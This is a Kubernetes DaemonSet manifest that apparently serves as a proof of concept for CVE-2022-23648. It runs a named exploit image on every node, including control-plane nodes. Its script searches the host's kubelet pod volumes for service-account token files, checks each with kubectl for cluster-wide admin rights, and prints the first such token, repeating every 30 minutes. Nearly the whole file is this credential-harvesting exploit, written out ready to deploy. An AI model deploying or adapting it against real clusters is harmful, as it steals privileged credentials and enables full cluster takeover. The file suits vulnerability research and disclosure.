apiVersion: apps/v1
kind: DaemonSet
metadata:
  name: poctest
  namespace: default
  labels:
    app: poctest
spec:
  selector:
    matchLabels:
      app: poctest
  template:
    metadata:
      labels:
        app: poctest
    spec:
      tolerations:
      - key: node-role.kubernetes.io/master
        operator: Exists
        effect: NoSchedule
      containers:
      - name: poctest
        image: ghcr.io/bgeesaman/cve-2022-23648-poc:v1 
        command: ["bash", "-c"]
        args:
          - |
            # Search /var/lib/kubelet/pods/*/volumes/* for files named 'token'
            # which are the Kubernetes SA tokens
            # Loop through each one found
            for i in $(find /var/lib/kubelet/pods/*/volumes/* -name 'token' -type f); do
              # If it's got all privileges in all namespaces
              if [ "$(kubectl --token=`cat $i` auth can-i '*' '*' -A | grep yes)" == 'yes' ]; then
                TOKEN="$(cat $i)";
                # Send it to standard out
                echo $TOKEN;
                # And stop processing
                break;
              fi;
            done
            # Since these tokens expire, wait 30m, crash, and repeat
            sleep 1800;